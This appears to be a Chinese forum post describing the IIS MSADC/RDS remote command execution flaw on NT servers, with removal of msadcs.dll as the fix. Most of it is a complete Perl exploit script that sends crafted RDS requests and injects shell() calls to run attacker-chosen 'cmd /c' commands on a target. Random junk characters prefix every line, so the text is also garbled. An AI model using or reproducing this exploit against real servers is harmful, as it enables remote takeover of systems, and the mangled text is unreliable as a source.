IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
LM`#S /h }+3~y 'k 涉及程序：
2Rt ZTn Microsoft NT server
@3D%i#2o&[ zOp"n\ 描述：
S(xA}0] 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
i<![i5uAI ]c+'SJQ 详细：
>u[ln@ l 如果你没有时间读详细内容的话，就删除:
</Lqk3 S-! c:\Program Files\Common Files\System\Msadc\msadcs.dll
hZG{"O!2 s 有关的安全问题就没有了。
P3>2=qK"E( 8\_,Y
ji 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
AG=1TZI" >qZRIDE5$ 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
mJqP#Unik 关于利用ODBC远程漏洞的描述，请参看:
=~*u(0sJa -p~B
-, http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 0nn# U w-/ Tb~#E 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
-OAH6U9^ http://www.microsoft.com/security/bulletins/MS99-025faq.asp zj4JWUM2 y['icGU6 这里不再论述。
3".W >?x Vr 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
3N\X{za ?!vW&KJZx /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
.=D6<4#t 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
:v48y.Ij7s ;W:Q} [ !%=k/|# #将下面这段保存为txt文件，然后: "perl -x 文件名"
RmCR"~ Vt>E\{@[t #!perl
]t<%>Z$ #
/ nRaxzf' # MSADC/RDS 'usage' (aka exploit) script
'?4[w]0J< #
O#k+.LU # by rain.forest.puppy
:oQaN[3>_ #
G_RK3E[FK # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
rk p0ej2- # beta test and find errors!
Su^Z{ Ud` % vzpp\t use Socket; use Getopt::Std;
jws(`mIf\ getopts("e:vd:h:XR", \%args);
1uE[ %M IS~oyFS print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
^.7xu/T u[@*}|uXM if (!defined $args{h} && !defined $args{R}) {
=#Jb9=zdR print qq~
? Ci\3)u,P Usage: msadc.pl -h <host> { -d <delay> -X -v }
z@}~2K -h <host> = host you want to scan (ip or domain)
X*&r/= -d <seconds> = delay between calls, default 1 second
`^x^=
og' -X = dump Index Server path table, if available
Kxn=iv^Ir -v = verbose
!Ai;S -e = external dictionary file for step 5
7Q&P4{hi0 )L Ul? Or a -R will resume a command session
g;1
UZE; vF 1$$7 k ~; exit;}
,$>Z= ~x* U/X ^ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
s,8%;\!C if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
9`{cX if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
~Fh(4' if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
JJr<cZ4] $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
O5w\oDhMb if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
Ig2VJ s; [; bLlS, if (!defined $args{R}){ $ret = &has_msadc;
12E" 6E) die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
_4w%U[GT, 'tj4 ;+xf^ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
IG\\RYr . "cmd /c ";
6W o7q\ " $in=<STDIN>; chomp $in;
ubw ]}sfM# $command="cmd /c " . $in ;
MmB-SR[>P >Ww F0W9? if (defined $args{R}) {&load; exit;}
muLTY gaM el<nY" c print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
rkrt.B &try_btcustmr;
*9PQJeyR g$qh(Z_s print "\nStep 2: Trying to make our own DSN...";
nK[$ I D &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
rXMv&]Ag m[XN,IE#u print "\nStep 3: Trying known DSNs...";
.0
K8h:I &known_dsn;
0 N(2[s_A -$r fu print "\nStep 4: Trying known .mdbs...";
L xO'$oKZV &known_mdb;
0J" 3RTt xHmc8G$zu if (defined $args{e}){
DX|kO print "\nStep 5: Trying dictionary of DSN names...";
c W2:D$Pe &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
h =aHZ6v d>}%A
] print "Sorry Charley...maybe next time?\n";
8Md KH7 exit;
c}lgWu~ :>5]A6Wi ##############################################################################
~tWBCq 6 aNz%vbh\ sub sendraw { # ripped and modded from whisker
5VN4A<)) sleep($delay); # it's a DoS on the server! At least on mine...
??Lxb% 7R my ($pstr)=@_;
dK-G%5)r socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Us<lWEX;k die("Socket problems\n");
XN Y(@ if(connect(S,pack "SnA4x8",2,80,$target)){
* HVO select(S); $|=1;
y\:2Re/*Jt print $pstr; my @in=<S>;
w;:,W@K select(STDOUT); close(S);
H0S 7k`. return @in;
*w;f\zW } else { die("Can't connect...\n"); }}
f55Ev<oOa #'[ f^xgJ ##############################################################################
h(fh |R< #KwFr lZ sub make_header { # make the HTTP request
9o6y7hEQy my $msadc=<<EOT
5D#*lMSP"' POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
Ny#%7%( User-Agent: ACTIVEDATA
DmYm~hzJ Host: $ip
`i }\k Content-Length: $clen
W$ &Q.Z Connection: Keep-Alive
6 B
) ]PFc8qv{ ADCClientVersion:01.06
TCYnErqk Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
+1Uw <~ %+.]>' 'a --!ADM!ROX!YOUR!WORLD!
S'WmPv Content-Type: application/x-varg
Sa Nx;xgi Content-Length: $reqlen
$]v R ,E {>:2Ff]O: EOT
J]%P
fWV ; $msadc=~s/\n/\r\n/g;
`U1"WcN return $msadc;}
nL$tXm-x Au
{ `o xD ##############################################################################
>TE&myZ?* biJU r^n sub make_req { # make the RDS request
1Dbe0u my ($switch, $p1, $p2)=@_;
t :_7 O7 my $req=""; my $t1, $t2, $query, $dsn;
`yhL11 ]~ .C1^QY-wL if ($switch==1){ # this is the btcustmr.mdb query
F' K{ = $query="Select * from Customers where City=" . make_shell();
lIf Our $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
j6\{j#q $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
o)$sZ{` =" 67e1Y@Xu elsif ($switch==2){ # this is general make table query
]Kf HuYjM $query="create table AZZ (B int, C varchar(10))";
6 3HxQH $dsn="$p1";}
0YS*=J"7 z Ai/#C$MY$ elsif ($switch==3){ # this is general exploit table query
( GeJBw,Q $query="select * from AZZ where C=" . make_shell();
.sLx6J% $dsn="$p1";}
@{a(f; oyHjdPdY# elsif ($switch==4){ # attempt to hork file info from index server
j>6{PDaT $query="select path from scope()";
H;^6%HV1 $dsn="Provider=MSIDXS;";}
[]@Mk {>i'Pb0mG| elsif ($switch==5){ # bad query
v4& *iT $query="select";
5W'T7asOh $dsn="$p1";}
R_^:<F0 :( `Q4D~l $t1= make_unicode($query);
.{Xi&[jw $t2= make_unicode($dsn);
i,~{{X S< $req = "\x02\x00\x03\x00";
(<f [$ |% $req.= "\x08\x00" . pack ("S1", length($t1));
N>/U%01a $req.= "\x00\x00" . $t1 ;
t+&WsCN $req.= "\x08\x00" . pack ("S1", length($t2));
!:>y.^O $req.= "\x00\x00" . $t2 ;
kqy Y:J $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
Jlzhn#5c- return $req;}
Y-Z.AA, l-mUc1.S ##############################################################################
{U4%aoBd8 h7*m+ / O sub make_shell { # this makes the shell() statement
,0~' #x> return "'|shell(\"$command\")|'";}
,
w_ Ew v/kY yz ##############################################################################
eVy,7go h ]6%| L sub make_unicode { # quick little function to convert to unicode
Fv3fad@x my ($in)=@_; my $out;
`5 27vK
6 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
!6kLg 1 return $out;}
8\[6z0+; Q=+KnE=h ##############################################################################
<@?bYp %9M_ * ] sub rdo_success { # checks for RDO return success (this is kludge)
WB= gN:? my (@in) = @_; my $base=content_start(@in);
(j'[t if($in[$base]=~/multipart\/mixed/){
.rS0zU return 1 if( $in[$base+10]=~/^\x09\x00/ );}
E;+3VJ+F" return 0;}
<$UY{"? O|8 p # ##############################################################################
rc"Z$qU? `InS8P Lr sub make_dsn { # this makes a DSN for us
U?kJXM2 my @drives=("c","d","e","f");
kefQH\<X print "\nMaking DSN: ";
N[AX29 foreach $drive (@drives) {
. [C ~a print "$drive: ";
xL mo?Y* my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
fFsA[@5tul "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
lc*<UZ R . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
aK,G6y $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
P2lj#aQLS return 0 if $2 eq "404"; # not found/doesn't exist
KF-n_:Bd+ if($2 eq "200") {
E")82I foreach $line (@results) {
GU_R6Wt+ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
pN?
} return 0;}
VG)kPKoi .a Ny)Yu8 ##############################################################################
@k6>&PS O)W1.]GMbf sub verify_exists {
]A'E61t<n my ($page)=@_;
B[8 my @results=sendraw("GET $page HTTP/1.0\n\n");
snX5mD return $results[0];}
H1N%uk=kV rR/P nVup ##############################################################################
>R
:Bkf- Z5+q b sub try_btcustmr {
'./s'!Lj my @drives=("c","d","e","f");
(A?/ D!y my @dirs=("winnt","winnt35","winnt351","win","windows");
3C5<MxtK
edA.Va|0 foreach $dir (@dirs) {
)y._]is)b print "$dir -> "; # fun status so you can see progress
x%0Q W foreach $drive (@drives) {
40mgB4I print "$drive: "; # ditto
m&fm<?| $reqlen=length( make_req(1,$drive,$dir) ) - 28;
U"/":w ~ $reqlenlen=length( "$reqlen" );
?&"-y)FG $clen= 206 + $reqlenlen + $reqlen;
Td?a=yu:J \= i>}Sg my @results=sendraw(make_header() . make_req(1,$drive,$dir));
O9jqeF`L= if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
4R.rSsAH else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
RH~KaV3 10t9Qv/ ##############################################################################
S)p1[&" M 3s"x{mtH sub odbc_error {
A=Dzd/CUO my (@in)=@_; my $base;
;j S ~0R my $base = content_start(@in);
A[^fG_l4 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
Ub0g{ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
*GD?d2.6j $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
R0 AVAUG $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
{4\(HrGNk return $in[$base+4].$in[$base+5].$in[$base+6];}
.t$~>e
. print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
NZCPmst print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
:Fu.S1j$ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
O\8_;Gc; S }mqK|! ##############################################################################
{ |a= UhXZ^ k3 sub verbose {
SCZtH El9 my ($in)=@_;
Yq}(O<ol return if !$verbose;
$3w a%" print STDOUT "\n$in\n";}
+O2T% ~} PB&`%7 ##############################################################################
CB:G4VqOT ?u/RQ 1 sub save {
9+_SG/@ my ($p1, $p2, $p3, $p4)=@_;
-ich N/U]s open(OUT, ">rds.save") || print "Problem saving parameters...\n";
gWL'Fl }H print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
DavpjwSn close OUT;}
:[A>O( )w=ehjV^m ##############################################################################
*\L\Bzm ncjt v"2R sub load {
?%d]iTZE my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
J{` G= open(IN,"<rds.save") || die("Couldn't open rds.save\n");
OLg=kF[[ @p=<IN>; close(IN);
@F U9! $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
\ ?sM $target= inet_aton($ip) || die("inet_aton problems");
~QQi{92 print "Resuming to $ip ...";
TldqF BX $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
Q!9AxM2K if($p[1]==1) {
My vp PW $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
T 5$db-^ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
^Q0%_V, my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
1<IF@__ if (rdo_success(@results)){print "Success!\n";}
3+ JkV\AF else { print "failed\n"; verbose(odbc_error(@results));}}
H N?NY elsif ($p[1]==3){
Ahv %Q%m%2 if(run_query("$p[3]")){
!#xk?L yB print "Success!\n";} else { print "failed\n"; }}
Q+YYj elsif ($p[1]==4){
j]~;|V5Z if(run_query($drvst . "$p[3]")){
INt]OP D print "Success!\n"; } else { print "failed\n"; }}
+`'=K ;{U exit;}
2 ,RO bVO{,P2 o ##############################################################################
`v)
:|Q B ~xT:r sub create_table {
;n`SF~CU my ($in)=@_;
l3[2b
Qx $reqlen=length( make_req(2,$in,"") ) - 28;
U|Z Yoc+]( $reqlenlen=length( "$reqlen" );
2SVBuV/R $clen= 206 + $reqlenlen + $reqlen;
}M*yE]LL;Z my @results=sendraw(make_header() . make_req(2,$in,""));
,aq0Q<}~lc return 1 if rdo_success(@results);
^/b3_aM5d my $temp= odbc_error(@results); verbose($temp);
'~{bq'7`m return 1 if $temp=~/Table 'AZZ' already exists/;
Okxuhzn>" return 0;}
F5s Pd X2\1OWR0 ##############################################################################
j%%& G$Tfu a/p}
?!\ sub known_dsn {
}JPLhr|d^ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
gn,D9d+ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
$z[FL=h)?+ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
kMd1)6%6A "banner", "banners", "ads", "ADCDemo", "ADCTest");
&&SA/;F bYt [/K, foreach $dSn (@dsns) {
0[E}[{t` print ".";
N=%4V next if (!is_access("DSN=$dSn"));
"=H ( \ V if(create_table("DSN=$dSn")){
0Ez( ;4]3 print "$dSn successful\n";
/h6K"w=='! if(run_query("DSN=$dSn")){
U4s)3jDw print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
cCa+UT xaJ print "Something's borked. Use verbose next time\n";}}} print "\n";}
( t[s Sl b5!D('w>] ##############################################################################
.! 'SG6 q MEKsL 7 sub is_access {
VO
u/9]a my ($in)=@_;
f(SK[+aqW $reqlen=length( make_req(5,$in,"") ) - 28;
g Z!q $reqlenlen=length( "$reqlen" );
x#)CH }J $clen= 206 + $reqlenlen + $reqlen;
m!#'4 my @results=sendraw(make_header() . make_req(5,$in,""));
skeH~-`M@ my $temp= odbc_error(@results);
rD_\NgVAs verbose($temp); return 1 if ($temp=~/Microsoft Access/);
1/\JJ\ return 0;}
C6` Tck! Um Ec")3 ##############################################################################
5TynAiSD_> 1|bg;X9+ sub run_query {
{(#2G, my ($in)=@_;
)wqG ^yv $reqlen=length( make_req(3,$in,"") ) - 28;
"($"T v2 $reqlenlen=length( "$reqlen" );
-HQ (t $clen= 206 + $reqlenlen + $reqlen;
hlKM4JT\ my @results=sendraw(make_header() . make_req(3,$in,""));
"WF@T return 1 if rdo_success(@results);
T@H<Fm_ my $temp= odbc_error(@results); verbose($temp);
Te d1Ky2O return 0;}
x ky +" 4>R)2g ##############################################################################
]Y; 5U *TyLB&<t sub known_mdb {
2pQ29 my @drives=("c","d","e","f","g");
l~( A(1 my @dirs=("winnt","winnt35","winnt351","win","windows");
9u0<$UY% my $dir, $drive, $mdb;
Ie"eqO! my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
aWS_z6[t#6 u,~/oTg O # this is sparse, because I don't know of many
|X4 7&Y my @sysmdbs=( "\\catroot\\icatalog.mdb",
%^KNY ;E "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
[%LI W%t| "\\system32\\certmdb.mdb",
5.M82rR; ~ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
a'!p^/6? T"_f 9? my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
.QVN &UyZ "\\cfusion\\cfapps\\forums\\forums_.mdb",
9 `+RmX;m "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
~8 S2BV3@ "\\cfusion\\cfapps\\security\\realm_.mdb",
eXA@J[- M: "\\cfusion\\cfapps\\security\\data\\realm.mdb",
4ux^K :z "\\cfusion\\database\\cfexamples.mdb",
}kZ)|/]kn "\\cfusion\\database\\cfsnippets.mdb",
&iI5^b-P "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
[6cF#_)* "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
lY $9-Q( "\\cfusion\\brighttiger\\database\\cleam.mdb",
;s\ck:Xg "\\cfusion\\database\\smpolicy.mdb",
^!A@:}t> "\\cfusion\\database\cypress.mdb",
/0 2-0mNv "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
)dh_eqnX "\\website\\cgi-win\\dbsample.mdb",
wG LSei-s "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
@V =HY "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
5c
($~EFr ); #these are just
X+KQ%Efo foreach $drive (@drives) {
v{8W+ foreach $dir (@dirs){
AGGNJ4m foreach $mdb (@sysmdbs) {
Xn6'*u>+;[ print ".";
PN"SBsc*j- if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
nnZM{< !hF print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
;%^T*?t if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
Jp 7m$D% print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
$+WMKv@< } else { print "Something's borked. Use verbose next time\n"; }}}}}
l1UN.l'p ab8F\%y-8 foreach $drive (@drives) {
;d<RP VE: foreach $mdb (@mdbs) {
sjj,q? print ".";
d$5\{YLy if(create_table($drv . $drive . $dir . $mdb)){
jI!W E$dt print "\n" . $drive . $dir . $mdb . " successful\n";
GUcGu5tw: if(run_query($drv . $drive . $dir . $mdb)){
Q@ghQGn# print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
-izZ D } else { print "Something's borked. Use verbose next time\n"; }}}}
VMl)_M:' }
6 ~ +/cY-V 0eFvcH:qG ##############################################################################
I><sK-3 Qm@v}pD sub hork_idx {
\1nj =ca? print "\nAttempting to dump Index Server tables...\n";
d)1Pl3+ print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
C ^ 1;r9 $reqlen=length( make_req(4,"","") ) - 28;
<IwfiI3y $reqlenlen=length( "$reqlen" );
% Z-B{I( $clen= 206 + $reqlenlen + $reqlen;
=bh.V@* my @results=sendraw2(make_header() . make_req(4,"",""));
~]78R!HJ if (rdo_success(@results)){
<G60R^o my $max=@results; my $c; my %d;
DAVgP7h' for($c=19; $c<$max; $c++){
^3lEfI<pBm $results[$c]=~s/\x00//g;
!Ct'H1J- $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
Bhf4 /$ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
^G C 8^f $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
s)5W:`MH? $d{"$1$2"}="";}
ueP a4e ! foreach $c (keys %d){ print "$c\n"; }
+
0 |d2_]E } else {print "Index server doesn't seem to be installed.\n"; }}
a&C }' e" &O\$=&, h ##############################################################################
JW9U&Bj{ &Xp <%[:
sub dsn_dict {
NsF8`r g open(IN, "<$args{e}") || die("Can't open external dictionary\n");
eUEO~M2&U{ while(<IN>){
EZ)$lw/!J $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
wq>0W 4( next if (!is_access("DSN=$dSn"));
Z"5ewU<? if(create_table("DSN=$dSn")){
&Ef_p-e-P print "$dSn successful\n";
#G\;)p T if(run_query("DSN=$dSn")){
Np2.X + print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
E3d# T print "Something's borked. Use verbose next time\n";}}}
Af X lV-v print "\n"; close(IN);}
(0!U,8zz $;As 7MI ##############################################################################
^nN@@ \-5 56!/E5qgW sub sendraw2 { # ripped and modded from whisker
'eg;)e:`b+ sleep($delay); # it's a DoS on the server! At least on mine...
w ;]~ 2$ my ($pstr)=@_;
] : n! \G socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Q|Go7MQZ@k die("Socket problems\n");
=x-@-\m if(connect(S,pack "SnA4x8",2,80,$target)){
50HRgoP5Y print "Connected. Getting data";
$zD}hO9 open(OUT,">raw.out"); my @in;
&- 2i+KjEX select(S); $|=1; print $pstr;
lQl while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
p?Jx2(%m close(OUT); select(STDOUT); close(S); return @in;
ZE 4xF8 } else { die("Can't connect...\n"); }}
$94l('B6H c~v(bK ##############################################################################
F8OE We:b1sZR sub content_start { # this will take in the server headers
%bZ}vJ5b my (@in)=@_; my $c;
<j&LC
/]o for ($c=1;$c<500;$c++) {
U`)o$4Bq if($in[$c] =~/^\x0d\x0a/){
K pSho < if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
99u9L) else { return $c+1; }}}
? yek\X return -1;} # it should never get here actually
{3){f;b eG\`SKx_ ##############################################################################
9xM7X? /8"9 sf * sub funky {
N Ty0NH my (@in)=@_; my $error=odbc_error(@in);
sFa5#w*> if($error=~/ADO could not find the specified provider/){
$^louas& print "\nServer returned an ADO miscofiguration message\nAborting.\n";
+Q! exit;}
5~E'21hJ if($error=~/A Handler is required/){
B<6Ye9zuG print "\nServer has custom handler filters (they most likely are patched)\n";
\zv?r :1t exit;}
d!#qBn$*[ if($error=~/specified Handler has denied Access/){
MNV Olo A print "\nServer has custom handler filters (they most likely are patched)\n";
m+'vrxTY exit;}}
!)+8:8H' 3%DDN\q\u ##############################################################################
" twq#Alx h+d3 JM sub has_msadc {
>' e(|P4 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
D/Hob my $base=content_start(@results);
|n q}# return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
V>:ubl8j0l return 0;}
5@< D6>6 Y=tx
kN ########################
U]W+ers T Z_](% 7FvtWE* 解决方案：
ar[*!:! 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
]q<Zc>O C 2、移除web 目录: /msadc
